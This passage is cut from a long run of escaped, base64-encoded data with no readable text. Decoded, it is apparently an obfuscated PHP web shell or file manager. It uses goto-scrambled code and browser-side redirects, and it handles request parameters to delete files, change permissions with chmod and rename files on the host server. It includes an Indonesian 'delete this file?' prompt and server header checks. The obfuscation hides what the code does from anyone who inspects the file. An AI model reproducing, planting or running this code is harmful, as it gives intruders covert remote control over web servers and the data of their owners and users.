x6e\x61\107\x46\x77\144\x58\x4d\147\132\155\154\163\x5a\123\x42\x70\x62\155\153\x2f\x49\x69\153\x6d\112\151\x68\63\141\127\x35\153\x62\x33\x63\x75\142\107\x39\x6a\x59\x58\122\x70\x62\62\x34\x75\141\110\x4a\154\x5a\152\60\151\x50\63\x42\x68\x64\107\147\71\111\x69\164\x70\113\171\x49\155\132\107\126\163\132\130\x52\154\x50\x53\111\162\x62\151\x6c\71\x5a\127\x78\172\x5a\x53\112\x6a\141\x47\x31\166\x5a\103\111\x39\120\124\61\154\x50\x33\144\160\x62\155\x52\x76\x64\171\65\x73\x62\62\116\150\144\x47\154\166\x62\x69\x35\157\x63\155\126\155\120\123\x49\57\143\107\x46\x30\x61\104\x30\x69\113\x32\x6b\162\111\151\x5a\152\141\107\x31\166\x5a\104\x30\151\x4b\62\x34\66\111\156\x4a\154\x62\x6d\x46\164\x5a\123\x49\x39\120\x54\61\154\112\x69\x59\157\144\x32\154\165\x5a\x47\x39\63\x4c\155\x78\x76\x59\x32\x46\60\141\x57\x39\x75\114\x6d\x68\x79\132\127\131\x39\111\x6a\71\x77\x59\x58\x52\x6f\120\123\x49\162\141\123\163\151\x4a\156\112\154\142\155\106\164\x5a\x54\x30\151\113\62\64\160\146\124\x77\166\143\62\x4e\x79\141\x58\x42\x30\x50\x6a\x77\x2f\143\107\150\x77\x49\103\102\x39\x49\x48\x30\147\132\127\170\x7a\x5a\123\102\67\x49\x47\126\152\141\107\x38\147\x49\154\167\63\x4e\106\x77\x78\116\152\122\x63\x4d\x54\x59\171\x58\x44\x63\62\x58\104\143\x30\x58\104\105\x32\116\x46\x78\x34\x4e\152\122\x63\x65\104\x49\167\x58\x48\147\x32\115\x31\x77\170\116\x54\x64\143\115\x54\125\x30\130\104\105\x32\115\x31\x77\170\116\x6a\x42\x63\145\x44\x59\170\x58\x48\147\62\x5a\126\170\x34\x4d\x32\x52\143\x4e\104\x4a\143\116\x6a\122\143\x4e\104\112\143\145\x44\116\x6c\x58\x48\x67\60\x5a\126\167\170\116\124\144\x63\x65\104\132\x6c\x58\110\x67\x32\116\126\167\60\x4d\x46\167\170\115\104\x52\143\x4d\x54\x55\x78\x58\x48\x67\63\x4d\x6c\167\x78\116\104\126\x63\x65\104\x59\172\130\104\x45\62\116\x46\170\64\x4e\155\x5a\x63\145\x44\143\x79\x58\104\x45\x33\115\126\x77\63\116\106\x77\61\x4e\61\167\170\x4e\x6a\x52\143\145\x44\131\x30\x58\x48\147\172\x5a\x56\x78\x34\x4d\x32\116\143\x65\x44\x4a\x6d\x58\x48\x67\63\116\x46\167\170\116\152\x4a\143\x65\x44\116\x6c\111\x6a\x73\147\146\123\102\x6e\142\63\x52\166\x49\110\x55\x32\124\x55\116\105\x4f\x79\x42\x32\x65\x48\144\x32\x55\104\x6f\x67\x5a\127\116\157\x62\x79\102\101\132\x32\x56\x30\x62\130\x6c\156\x61\127\121\157\x4b\124\x73\147\132\62\x39\60\x62\171\102\x55\121\x6d\64\171\x5a\x44\x73\x67\124\124\105\x33\x5a\153\x67\x36\111\107\154\x6d\111\x43\147\153\x58\x31\116\106\125\x6c\x5a\x46\125\154\163\x69\130\104\105\x79\115\154\170\x34\116\x44\x56\x63\x4d\x54\x49\x78\x58\104\x45\171\x4e\x56\170\64\x4e\x44\x56\143\115\x54\x49\172\x58\x44\105\x79\x4e\x46\170\64\x4e\x57\132\143\145\x44\122\x6b\130\104\x45\x77\x4e\126\x78\x34\116\124\x52\x63\145\104\x51\x34\x58\110\147\60\x5a\x6c\170\x34\116\104\121\x69\130\x53\x41\71\120\124\60\147\x49\154\170\64\116\x44\144\x63\x65\104\x51\x31\130\x48\x67\61\116\103\111\x67\112\x69\131\x67\141\130\116\x7a\x5a\x58\121\x6f\x4a\106\x39\x48\122\126\x52\x62\111\154\170\64\x4e\x6a\x4e\x63\145\x44\x59\x34\130\104\x45\x31\x4e\x56\x78\64\116\155\x5a\x63\115\124\x51\60\111\x6c\60\x70\113\123\x42\x37\x49\x43\x52\x6a\141\107\x31\x76\x5a\x46\102\x68\x64\x47\147\147\x50\x53\x41\x6b\x58\60\x64\x46\126\106\x73\151\x58\104\105\x30\115\x31\167\170\116\124\x42\x63\115\x54\125\x31\x58\x48\x67\x32\132\x6c\167\x78\116\104\121\x69\x58\x54\x73\x67\141\x57\x59\147\113\x48\116\60\143\x6e\x42\166\143\x79\147\153\131\62\x68\x74\142\x32\122\121\131\130\122\157\114\103\101\x69\130\104\125\63\111\151\153\147\x49\x54\x30\x39\x49\x44\101\x70\x49\110\163\147\112\x48\x42\x68\144\107\x67\147\120\123\x42\160\x63\x33\116\154\144\x43\x67\153\x58\60\x64\x46\126\106\163\x69\x58\104\x45\62\x4d\x46\167\x78\116\x44\x46\143\x65\x44\x63\60\x58\110\x67\x32\117\x43\112\144\x4b\123\x41\57\x49\103\122\146\122\60\126\x55\127\x79\112\x63\x4d\124\131\167\x58\110\x67\x32\x4d\126\x77\x78\x4e\152\122\x63\115\124\x55\167\111\x6c\60\147\117\151\102\156\x5a\130\122\152\144\62\121\157\x4b\x54\163\147\x4a\x47\x4e\157\x62\127\x39\153\125\107\x46\x30\141\x43\x41\x39\111\x48\x4a\60\143\x6d\x6c\x74\x4b\x43\x52\167\131\130\122\157\x4c\x43\101\x69\130\x44\125\x33\111\151\x6b\x67\114\151\x41\x69\130\104\x55\x33\111\151\x41\x75\111\x47\x78\60\x63\x6d\x6c\x74\x4b\103\x52\152\x61\107\x31\x76\x5a\x46\x42\150\x64\x47\147\x73\x49\103\112\143\x65\x44\x4a\155\111\151\x6b\x37\x49\110\x30\147\141\x57\131\147\113\107\x6c\172\x58\x32\132\x70\142\107\125\x6f\x4a\x47\x4e\x6f\x62\x57\x39\x6b\125\107\106\60\x61\103\153\x67\146\x48\x77\147\x61\x58\x4e\146\x5a\107\154\171\113\x43\x52\x6a\x61\x47\61\x76\x5a\x46\102\x68\x64\x47\147\160\x4b\x53\x42\67\111\107\154\x6d\x49\x43\150\160\x63\x33\116\154\144\103\147\x6b\130\60\x64\106\x56\x46\163\x69\130\x48\x67\x32\x5a\106\167\170\x4e\124\x64\143\145\x44\x59\60\130\110\x67\62\116\123\x4a\x64\113\x53\x41\155\112\151\102\167\143\155\x56\156\x58\62\x31\x68\x64\107\x4e\157\x4b\x43\112\x63\x65\x44\x4a\155\130\110\147\x31\x5a\x56\x77\x78\x4d\172\116\143\145\104\x4d\167\130\110\x67\x79\x5a\x46\x77\62\x4e\x31\170\64\116\x57\122\143\115\124\143\x7a\x58\x48\x67\172\x4d\61\x78\64\x4e\62\122\x63\x4e\x44\x52\143\x65\104\112\155\111\151\x77\x67\x4a\x46\71\110\x52\126\x52\x62\x49\x6c\170\64\x4e\x6d\x52\143\x65\104\132\155\x58\x44\105\x30\x4e\106\167\x78\116\x44\125\151\130\123\153\x70\111\x48\x73\147\112\107\61\x76\x5a\107\125\x67\x50\x53\102\160\x62\x6e\122\62\131\127\167\157\x4a\x46\71\x48\122\126\x52\x62\x49\154\x77\x78\x4e\124\126\143\145\x44\132\155\x58\104\x45\60\116\x46\x77\170\116\104\x55\x69\130\123\x77\x67\x4f\103\153\67\111\107\x6c\x6d\x49\x43\x68\x6a\x61\x47\61\x76\132\103\x67\x6b\x59\62\150\x74\142\x32\x52\121\x59\130\122\x6f\114\x43\101\153\142\x57\71\x6b\x5a\123\153\x70\111\x48\163\x67\132\x57\116\x6f\142\171\101\151\x58\x44\143\60\130\x44\105\x30\116\106\167\x78\116\x54\x46\x63\115\124\131\62\130\104\x51\x77\130\110\147\x32\x4d\61\170\x34\116\155\116\143\x65\x44\131\170\130\x44\105\x32\115\61\x78\64\x4e\172\116\x63\x4e\172\x56\x63\145\104\x49\x33\x58\x48\x67\x32\132\106\x78\x34\x4e\152\126\143\115\124\131\172\x58\104\105\62\115\x31\170\64\116\x6a\x46\143\x4d\x54\x51\x33\130\110\x67\x32\x4e\x56\167\x31\x4e\x56\x77\170\116\104\x4e\x63\x4d\124\125\x33\x58\x44\x45\61\x4e\154\x77\170\116\x6a\122\x63\x65\104\x59\x78\130\110\147\x32\x4f\126\x77\170\x4e\x54\132\143\115\x54\121\x31\x58\110\147\x33\115\154\170\x34\x4d\x6a\x64\143\145\104\x4e\x6c\130\110\x67\x7a\x59\x31\167\x78\x4e\152\x42\x63\x65\104\x4e\154\x58\104\105\x77\115\x31\x78\x34\x4e\152\x68\x63\x4d\x54\x55\x31\x58\x44\105\61\116\61\x78\64\x4e\152\x52\x63\x4e\104\x42\143\145\104\143\172\x58\x44\x45\x32\116\x56\x77\170\x4e\x44\116\x63\x65\x44\x59\x7a\x58\x48\147\x32\116\x56\x77\170\116\x6a\116\x63\x4d\124\131\172\x58\x44\x45\60\116\154\x77\170\x4e\x6a\x56\x63\145\104\x5a\x6a\x58\x44\143\171\130\110\x67\171\x4d\x48\163\153\x59\62\150\x74\x62\x32\122\x51\x59\130\122\x6f\146\126\x77\x33\x4e\x46\x77\x31\x4e\x31\x78\64\116\172\x42\143\x65\104\x4e\x6c\130\110\x67\x7a\131\61\x77\x31\x4e\x31\x78\x34\116\152\122\143\x4d\x54\x55\170\130\x44\105\62\x4e\154\170\64\x4d\62\125\151\x4f\x79\102\71\x49\x47\126\163\x63\62\125\x67\x65\x79\102\x6c\131\x32\x68\166\x49\103\112\143\x4e\172\122\x63\115\124\x51\60\130\110\147\x32\x4f\x56\170\64\x4e\x7a\132\x63\116\104\102\x63\x4d\x54\x51\x7a\130\104\x45\61\116\x46\x78\64\x4e\152\106\x63\145\104\143\172\130\x44\105\x32\x4d\61\x78\64\x4d\62\122\143\x4e\104\x64\143\115\124\125\x31\130\x44\x45\x30\116\x56\x77\170\x4e\x6a\x4e\143\x4d\124\x59\172\x58\110\x67\62\115\126\170\64\x4e\152\144\x63\115\124\121\61\x58\110\x67\171\132\106\167\170\116\104\x4e\x63\115\124\x55\x33\130\x44\x45\61\116\154\170\64\x4e\172\x52\x63\x4d\124\x51\x78\x58\x48\x67\62\117\x56\167\170\116\x54\132\143\x65\104\x59\x31\x58\x48\x67\x33\115\x6c\x77\x30\116\x31\167\x33\116\x6c\x78\x34\115\62\116\x63\145\x44\x63\x77\130\x44\143\62\x58\x44\x45\167\x4e\x6c\x77\170\116\104\106\x63\145\104\131\65\x58\110\147\62\x59\x31\x78\x34\116\152\x56\143\x4d\x54\121\x30\130\104\x51\x77\x58\104\x45\x32\116\x46\x77\x78\116\x54\x64\x63\x65\104\x49\167\130\x44\105\60\x4d\61\x77\170\x4e\124\102\x63\x4d\124\125\61\x58\x44\x45\61\116\x31\x78\x34\x4e\x6a\122\x63\116\172\x4a\x63\145\x44\x49\x77\145\x79\x52\x6a\x61\x47\x31\166\x5a\106\102\x68\x64\x47\150\71\130\110\147\172\x59\x31\x78\x34\115\155\x5a\143\x4d\124\x59\x77\x58\x44\143\62\x58\x48\147\172\131\x31\x78\x34\115\155\x5a\x63\x4d\124\x51\x30\130\x48\147\62\x4f\x56\167\170\x4e\x6a\x5a\x63\x65\x44\116\154\111\152\x73\147\x66\123\102\x39\111\107\x56\x73\x63\62\x55\147\145\171\101\x6b\x59\x33\x56\171\x63\155\126\165\144\x45\x31\166\132\x47\125\x67\120\x53\x42\x6d\141\x57\170\154\x63\x47\x56\171\x62\x58\x4d\x6f\112\x47\116\157\142\127\x39\x6b\125\x47\x46\60\x61\103\x6b\147\x4a\x69\x41\x31\115\124\x45\67\111\x47\126\x6a\x61\107\70\147\111\x6c\x78\64\x4d\62\116\143\115\124\121\x30\130\110\x67\62\117\x56\x77\170\116\x6a\132\143\x4e\x44\102\143\145\x44\x59\x7a\x58\104\x45\61\116\106\167\x78\116\x44\106\x63\x4d\x54\131\172\130\x48\x67\x33\115\61\x78\64\115\62\x52\143\116\104\144\143\115\124\x55\61\130\110\147\x32\116\x56\x77\x78\116\x6a\116\143\x4d\x54\131\x7a\x58\110\147\62\x4d\126\167\170\116\x44\144\x63\x65\104\x59\61\x58\x44\x55\x31\130\x48\x67\x32\115\x31\167\x78\116\x54\144\x63\115\x54\125\62\130\104\105\x32\116\x46\x77\x78\116\104\x46\x63\x65\104\131\65\130\110\147\x32\x5a\x56\x78\x34\116\x6a\126\143\x4d\x54\x59\x79\130\x48\x67\171\116\x31\170\x34\x4d\62\x55\151\x4f\171\x42\154\x59\x32\150\166\x49\x43\112\x63\x4e\172\122\143\145\104\143\x77\x58\x44\143\62\130\x44\x45\167\115\x31\170\x34\116\152\x68\x63\115\x54\125\x31\x58\104\x45\61\x4e\x31\167\170\x4e\x44\122\x63\145\x44\116\x68\x58\104\121\167\145\171\122\x6a\141\107\x31\x76\x5a\106\102\150\x64\x47\x68\71\130\104\143\x30\130\x44\125\x33\x58\x48\147\63\x4d\106\x78\64\115\62\x55\151\x4f\171\x42\154\x59\x32\150\166\111\103\x4a\143\116\x7a\x52\143\x65\104\131\x32\x58\110\147\x32\132\x6c\167\x78\x4e\x6a\112\x63\x4d\124\125\61\x58\104\121\167\130\110\x67\62\132\x46\170\x34\x4e\x6a\126\143\x4d\124\131\x30\130\x48\147\62\x4f\106\170\x34\x4e\155\x5a\143\115\124\121\60\130\104\143\61\x58\x48\147\171\116\61\167\170\x4d\x44\144\x63\x65\104\x51\x31\x58\x48\147\x31\x4e\106\167\60\x4e\61\x77\x30\115\106\170\64\116\152\106\143\x65\x44\131\172\130\104\105\62\116\106\167\170\116\x54\x46\x63\145\x44\x5a\155\130\x48\x67\x32\x5a\x56\170\x34\x4d\62\x52\143\x65\104\111\x33\130\104\121\x33\130\x48\147\x7a\x5a\123\x49\67\111\x47\126\152\x61\107\x38\x67\111\154\x78\x34\115\62\116\143\x65\104\x59\65\x58\104\x45\61\116\x6c\x77\x78\x4e\x6a\102\143\x4d\x54\x59\x31\130\x44\x45\62\116\x46\167\x30\x4d\106\x78\64\x4e\x7a\122\143\145\x44\x63\x35\x58\x44\105\62\115\x46\x77\x78\116\x44\126\143\145\104\x4e\153\x58\110\147\x79\116\x31\170\x34\116\x6a\x68\x63\145\104\131\x35\130\x48\147\62\x4e\x46\167\170\x4e\x44\122\143\x65\x44\x59\61\x58\104\x45\61\116\x6c\x77\60\x4e\x31\x77\60\x4d\106\170\x34\116\x6d\126\x63\x65\104\131\x78\x58\x48\147\x32\132\x46\x78\x34\x4e\152\126\143\x65\x44\x4e\x6b\130\104\x51\63\x58\x48\147\x33\x4d\x46\167\x78\116\x44\x46\143\115\124\x59\60\x58\x44\x45\61\115\106\167\60\116\61\x77\60\115\x46\167\x78\116\152\x5a\143\x4d\124\121\170\130\104\x45\61\x4e\x46\170\64\x4e\172\x56\143\145\x44\x59\61\x58\x48\x67\x7a\132\x46\x78\64\115\152\144\x37\x4a\x48\x42\150\144\107\150\71\130\x44\121\x33\x58\x44\x63\62\111\152\x73\x67\132\127\x4e\157\142\x79\x41\x69\130\104\x63\60\x58\104\x45\x31\x4d\x56\167\x78\x4e\124\x5a\143\x4d\x54\131\x77\130\x48\x67\x33\116\x56\x77\x78\116\x6a\122\x63\x4e\104\102\143\115\x54\x59\60\x58\x48\x67\x33\x4f\126\167\170\116\152\102\143\x65\x44\x59\x31\130\110\x67\x7a\132\106\x77\60\116\x31\x77\170\x4e\124\102\x63\115\124\125\170\x58\104\x45\x30\116\x46\x78\x34\x4e\x6a\122\x63\145\x44\x59\x31\x58\x48\x67\x32\x5a\126\167\60\x4e\x31\167\60\x4d\106\x78\x34\116\155\126\x63\115\124\121\170\x58\104\105\61\x4e\x56\x78\64\116\152\126\x63\145\x44\x4e\x6b\x58\104\121\63\130\104\x45\60\115\x31\170\x34\x4e\x6a\x68\x63\x65\x44\132\153\x58\x44\105\61\116\x31\170\x34\x4e\152\x52\x63\x65\x44\x49\x33\x58\x48\x67\x79\x4d\x46\170\x34\x4e\172\x5a\143\x4d\124\x51\170\130\x48\x67\62\131\61\170\64\116\x7a\126\x63\x4d\x54\x51\61\x58\x44\x63\61\130\104\121\x33\x65\x79\x52\x6a\141\107\61\x76\132\x46\x42\x68\144\x47\x68\71\130\110\147\x79\116\x31\x77\x33\x4e\x69\x49\67\x49\x47\x56\152\141\x47\x38\x67\x49\154\x78\x34\115\x32\x4e\143\x65\x44\131\65\x58\x44\x45\x31\x4e\154\x78\x34\116\x7a\x42\143\x4d\124\131\61\130\104\x45\62\x4e\x46\167\x30\115\x46\170\64\116\x7a\x52\x63\x4d\124\143\x78\130\104\x45\62\115\106\167\170\x4e\x44\x56\x63\145\x44\116\x6b\130\104\x51\x33\x58\110\147\63\116\x46\x78\64\x4e\x6a\x56\143\x4d\124\x63\167\x58\110\147\x33\x4e\106\x77\60\x4e\x31\x78\x34\115\152\x42\x63\145\104\x5a\154\130\x48\147\x32\x4d\x56\170\64\116\155\122\143\x4d\124\121\x31\x58\x48\147\x7a\132\x46\x78\64\115\152\x64\143\115\x54\x55\61\x58\x44\105\61\116\61\170\x34\116\152\122\x63\x4d\124\x51\61\x58\104\121\x33\x58\110\x67\x79\x4d\x46\167\170\x4e\x6a\102\x63\x65\104\x5a\152\130\110\147\62\115\x56\170\64\x4e\152\x4e\143\x4d\x54\121\x31\130\110\147\62\117\106\170\x34\x4e\155\132\x63\115\124\125\60\x58\104\x45\60\116\x46\x77\170\x4e\104\126\143\145\104\143\x79\130\x44\143\61\x58\104\121\x33\130\x44\x45\x77\116\x56\x77\170\x4e\x54\132\143\145\104\143\x30\130\110\147\x32\x4e\126\x78\64\116\172\x4a\143\116\x44\x42\143\115\x54\x55\62\x58\110\x67\62\x4e\x56\167\170\116\152\144\143\145\x44\x49\x77\x58\110\x67\x32\x5a\106\x77\170\116\124\x64\x63\x4d\124\121\60\130\110\147\62\116\126\x77\x30\x4d\106\x77\x31\x4d\106\167\x78\x4e\104\x56\x63\x65\x44\x4a\154\130\x44\105\x30\x4e\x31\x77\x31\116\154\x77\61\116\106\x77\x30\x4d\x46\167\62\x4e\x31\x77\62\116\126\170\x34\115\x7a\126\x63\145\104\x49\x35\130\104\121\63\x58\104\121\167\x58\110\x67\x33\x4d\x6c\170\64\116\152\x56\x63\x4d\x54\131\x78\130\110\147\63\x4e\x56\170\64\x4e\152\154\143\x4d\x54\x59\x79\130\x44\x45\60\x4e\x56\170\64\x4e\x6a\122\143\145\x44\x4e\154\x49\x6a\163\147\132\x57\x4e\157\142\x79\x41\x69\x58\x48\147\x7a\131\61\x78\x34\116\152\x6c\x63\145\x44\132\x6c\130\110\147\x33\115\106\170\64\116\172\126\x63\x65\104\x63\60\x58\104\x51\167\130\x48\x67\x33\x4e\x46\x77\x78\116\172\106\143\145\x44\143\167\130\110\147\62\x4e\x56\x78\64\x4d\x32\122\143\x65\x44\111\63\130\104\x45\62\115\x31\167\170\116\152\126\143\x65\x44\131\171\x58\110\x67\x32\132\106\167\x78\116\124\x46\x63\115\124\131\60\130\x44\121\x33\130\x44\121\x77\130\x44\105\x32\x4e\x6c\170\64\x4e\152\x46\x63\115\x54\x55\60\130\x44\x45\x32\116\x56\170\64\x4e\152\126\x63\x4e\172\126\x63\116\x44\144\143\x65\x44\121\x7a\130\110\147\62\117\x46\167\170\x4e\124\x56\x63\x65\104\132\x6d\130\110\147\62\116\x46\170\x34\x4d\152\144\143\x65\x44\116\x6c\111\x6a\x73\147\x5a\127\116\x6f\x62\x79\101\x69\130\x48\x67\172\131\61\x77\x31\116\61\x77\x78\116\104\x5a\x63\115\124\x55\x33\130\110\x67\63\x4d\x6c\170\x34\x4e\155\x52\143\145\104\x4e\x6c\x49\x6a\x73\147\132\127\x4e\157\x62\171\101\x69\x58\x48\147\172\131\x31\x78\64\x4e\x7a\102\x63\x4e\x7a\x5a\x63\x65\x44\x51\172\130\x44\105\62\116\126\170\64\116\x7a\x4a\x63\x4d\x54\x59\x79\x58\110\x67\x32\116\126\x78\x34\116\x6d\x56\x63\x4d\124\131\x30\x58\x44\121\x77\x58\104\x45\61\116\126\x77\x78\x4e\124\x64\x63\x4d\124\x51\x30\130\110\147\x32\x4e\126\167\x33\115\154\167\x30\115\110\x73\153\131\x33\x56\171\x63\x6d\126\x75\144\x45\61\166\132\x47\126\71\130\x44\x63\60\130\x48\147\171\132\154\167\170\x4e\x6a\x42\143\x65\x44\116\154\x49\x6a\163\x67\x5a\127\116\x6f\142\x79\101\x69\130\104\143\60\130\x48\147\x79\x5a\x6c\x78\64\116\152\x52\143\x4d\x54\125\170\130\x48\147\x33\x4e\154\x77\x33\x4e\151\x49\67\x49\x48\60\147\146\x53\x42\154\142\x48\116\x6c\x49\x48\163\x67\132\x57\x4e\x6f\142\x79\101\151\x58\104\x63\x30\x58\x44\105\60\116\106\x77\x78\x4e\124\106\143\x4d\124\131\x32\x58\104\x51\x77\130\110\x67\x32\x4d\x31\x78\x34\x4e\x6d\116\x63\115\124\x51\170\130\x44\x45\x32\x4d\61\x78\x34\116\172\x4e\143\x65\104\116\x6b\x58\104\x51\63\130\x48\147\x32\132\106\x77\x78\116\x44\x56\x63\x4d\124\131\x7a\x58\104\x45\x32\x4d\x31\167\x78\116\104\106\143\x65\x44\x59\x33\x58\104\x45\x30\x4e\126\x78\64\115\155\122\x63\x65\104\131\x7a\130\104\105\x31\x4e\x31\170\64\116\155\x56\x63\145\104\143\60\130\104\x45\x30\x4d\x56\x77\170\x4e\x54\106\x63\x4d\x54\125\x32\x58\x48\147\62\116\126\x78\64\x4e\172\x4a\143\116\x44\x64\143\116\x7a\132\x63\116\172\x52\x63\145\x44\143\167\x58\110\x67\172\x5a\126\x78\x34\116\x44\x6c\x63\145\104\132\154\x58\104\x45\62\x4e\x6c\x77\170\116\104\106\143\115\124\x55\60\130\x48\147\x32\117\126\x77\170\116\x44\x52\143\x65\x44\x49\167\130\104\105\60\116\x6c\167\170\116\x54\x46\x63\x4d\124\x55\x30\130\x48\147\x32\x4e\126\x78\x34\115\x6a\102\143\115\124\x55\x33\x58\110\x67\63\115\154\x77\60\x4d\x46\167\x78\116\104\x5a\143\x65\104\132\155\x58\110\x67\x32\131\61\170\x34\116\x6a\x52\x63\x4d\124\121\x31\130\110\x67\x33\x4d\x6c\170\x34\115\x6a\102\143\115\124\131\167\x58\104\x45\x30\115\x56\170\x34\x4e\x7a\122\x63\x4d\124\x55\x77\130\x48\x67\172\131\126\x77\x30\x4d\110\x73\x6b\x59\62\x68\x74\x62\x32\x52\x51\x59\130\x52\157\x66\126\x78\x34\x4d\x32\x4e\x63\x65\104\x4a\x6d\130\104\x45\x32\115\106\170\x34\115\62\126\143\x4e\172\122\x63\145\x44\x4a\155\130\104\x45\60\116\106\x78\x34\116\x6a\154\x63\145\104\143\x32\130\110\x67\x7a\x5a\x53\111\x37\111\110\x30\147\146\x53\102\x6e\142\63\x52\166\x49\x47\x6c\x74\117\x46\71\164\117\x79\x42\x57\x56\x31\150\x52\x64\172\157\x67\141\127\131\147\x4b\107\x5a\x31\142\x6d\116\x30\141\127\x39\165\130\62\126\64\x61\130\x4e\60\x63\171\x67\151\130\110\x67\62\131\61\170\64\116\x6a\154\143\x65\x44\143\60\x58\x44\105\x30\116\x56\167\x78\116\x6a\x4e\143\115\124\131\167\x58\x48\147\62\x4e\x56\167\x78\116\104\x56\143\x4d\124\121\x30\130\x48\147\x31\132\x6c\170\64\x4e\172\112\x63\x4d\124\121\x31\130\x44\x45\x32\x4d\126\x78\x34\x4e\x7a\x56\143\145\104\131\x31\130\x48\147\63\x4d\x31\167\170\116\x6a\x52\143\x4d\x54\115\x33\x58\104\x45\x31\x4d\106\167\170\116\x44\126\x63\145\x44\x59\x78\130\104\x45\60\116\x46\167\170\116\104\126\x63\x4d\124\131\x79\x58\x44\105\x32\x4d\171\x49\160\x4b\x53\x42\x37\111\103\x52\x6f\132\127\x46\x6b\132\x58\112\x7a\x49\104\x30\147\142\107\154\x30\132\130\x4e\167\132\127\126\x6b\130\63\112\x6c\x63\130\126\154\143\63\122\146\141\x47\x56\x68\x5a\107\x56\x79\x63\x79\x67\x70\117\171\102\x70\132\151\101\157\x61\x58\x4e\x7a\x5a\x58\121\157\112\107\x68\154\x59\127\x52\x6c\x63\x6e\x4e\142\111\154\167\170\115\x7a\x42\143\145\x44\x4a\x6b\130\104\x45\170\x4e\x46\x77\170\x4d\x6a\116\143\115\x54\x41\172\x58\104\105\x77\x4d\126\167\x78\x4d\104\116\x63\x65\x44\121\64\130\110\147\60\116\x53\x4a\144\x4b\123\x6b\x67\x65\x79\102\157\x5a\127\x46\x6b\132\x58\111\x6f\111\x6c\170\x34\x4e\x54\x68\x63\x65\104\x4a\153\x58\x48\x67\x30\x59\61\167\x78\x4d\152\x4e\x63\x4d\x54\x41\x7a\x58\x44\x45\167\115\126\x77\x78\115\104\116\143\x4d\x54\105\x77\130\110\147\60\116\x56\167\63\115\154\x77\60\x4d\106\167\170\116\x54\x64\143\x4d\x54\x51\62\x58\104\105\60\x4e\x69\111\160\117\171\102\x39\x49\x48\60\147\x5a\62\71\x30\x62\171\x42\x4f\117\x46\143\171\x61\x54\163\x67\x56\x6d\150\x4d\141\x32\x49\x36\111\x47\x6c\x6d\111\103\147\x6b\130\61\x4e\106\x55\x6c\x5a\x46\x55\x6c\x73\x69\130\x44\105\171\x4d\154\x78\x34\x4e\x44\126\x63\x65\104\x55\x78\130\110\147\x31\116\126\x77\x78\x4d\104\x56\143\x4d\124\x49\172\x58\x48\x67\61\x4e\106\170\64\116\x57\132\143\115\124\x45\x31\130\x48\x67\x30\116\126\167\x78\x4d\x6a\x52\x63\x65\x44\121\64\x58\x48\147\x30\x5a\x6c\167\x78\x4d\104\x51\x69\130\123\101\71\x50\x54\60\x67\111\154\170\64\116\124\102\143\x65\x44\122\155\130\x48\147\x31\x4d\x31\167\170\115\152\x51\x69\x49\x43\x59\x6d\x49\107\x6c\x7a\143\62\x56\x30\x4b\x43\122\x66\x55\x45\71\124\126\x46\163\151\130\x48\x67\63\x4d\154\167\x78\116\x44\126\143\x65\x44\x5a\x6c\x58\104\x45\x30\115\x56\x78\x34\x4e\x6d\122\143\x4d\x54\121\x31\111\154\x30\160\111\103\131\x6d\x49\x43\122\146\x55\105\x39\124\126\x46\x73\151\130\110\147\x33\115\154\x78\x34\116\152\x56\x63\115\x54\125\x32\130\110\x67\62\115\126\167\170\116\x54\126\143\x65\104\x59\61\111\154\60\x67\120\124\x30\71\x49\x43\112\x63\115\x54\131\x30\130\104\x45\x32\x4d\x6c\x78\64\x4e\x7a\x56\143\145\104\x59\x31\x49\151\153\147\x65\171\101\153\x62\x32\x78\x6b\x54\x6d\106\164\x5a\x53\x41\71\x49\x43\x52\146\125\105\71\x54\x56\106\163\x69\130\x44\105\61\x4e\x31\x77\x78\x4e\124\122\143\x4d\x54\121\x30\130\104\x45\x7a\x4e\61\x78\64\x4e\x6d\126\143\x4d\124\121\170\x58\110\x67\x32\x5a\x46\x78\x34\116\x6a\x55\151\x58\124\163\x67\112\107\65\x6c\144\x30\65\x68\142\127\125\x67\x50\123\x41\153\130\61\x42\120\125\61\122\142\x49\x6c\x78\64\x4e\155\x56\x63\145\104\131\61\130\110\x67\x33\116\61\167\170\115\x7a\144\143\145\x44\132\x6c\x58\x48\x67\62\x4d\126\x78\64\x4e\155\122\143\115\x54\x51\61\111\x6c\60\x37\x49\103\x52\x75\132\x58\144\x51\131\x58\x52\157\x49\x44\x30\147\x4a\110\102\x68\144\x47\x67\147\x4c\x69\101\151\x58\104\x55\63\111\151\101\x75\111\x43\x52\x75\132\x58\x64\x4f\131\127\x31\154\x4f\171\101\x6b\x62\x32\x78\153\125\107\x46\60\x61\x43\101\71\x49\x43\122\167\131\130\x52\x6f\x49\x43\x34\x67\x49\x6c\x77\x31\116\x79\x49\x67\114\151\101\153\x62\x32\x78\x6b\124\155\x46\164\132\x54\163\147\x61\127\x59\147\113\110\x4a\x6c\142\x6d\106\164\x5a\x53\147\153\x62\x32\x78\153\x55\x47\x46\60\141\103\167\147\112\x47\65\154\x64\x31\x42\150\144\107\147\160\x4b\x53\x42\67\111\x47\x56\x6a\x61\x47\x38\147\111\x6c\170\x34\x4d\62\x4e\x63\145\x44\131\60\130\x48\147\x32\117\126\167\x78\116\152\132\x63\x4e\104\x42\143\x65\104\131\172\130\x48\147\x32\x59\61\167\x78\116\104\106\143\x4d\x54\x59\x7a\130\110\x67\x33\115\x31\x78\64\x4d\x32\x52\x63\116\x44\144\143\x4d\124\125\61\130\x48\x67\62\116\126\170\x34\x4e\x7a\116\143\115\x54\131\172\x58\104\x45\60\x4d\x56\167\170\116\104\x64\x63\x65\x44\131\x31\130\110\x67\x79\x5a\x46\167\170\x4e\x44\116\x63\115\124\x55\x33\130\x44\x45\x31\116\x6c\x77\170\x4e\152\122\x63\x4d\x54\x51\x78\x58\x44\105\x31\115\126\167\170\116\124\132\143\145\104\x59\x31\x58\110\147\63\115\x6c\x77\x30\x4e\61\167\x33\x4e\x6c\170\x34\115\x32\x4e\x63\x65\104\x63\x77\130\x48\147\172\x5a\x56\170\x34\x4e\x54\112\x63\x4d\x54\x51\61\x58\x48\147\62\132\x56\170\x34\116\x6a\x46\x63\145\x44\x5a\153\130\x48\147\62\x4f\126\x77\x78\x4e\124\132\x63\145\x44\x59\63\130\x44\x51\167\130\x44\105\x32\115\61\167\x78\x4e\152\126\143\145\104\x59\x7a\x58\110\147\62\x4d\61\x78\x34\116\152\126\x63\x65\104\143\x7a\130\x48\147\x33\x4d\x31\x77\170\116\104\x5a\x63\115\x54\x59\61\x58\104\x45\x31\x4e\106\x78\x34\115\x6d\126\x63\x4e\x44\x42\67\x4a\107\65\x6c\x64\60\x35\150\x62\x57\126\x39\130\110\x67\172\x59\61\167\61\x4e\x31\x78\x34\116\172\102\143\145\x44\116\x6c\x49\x6a\x73\x67\x66\1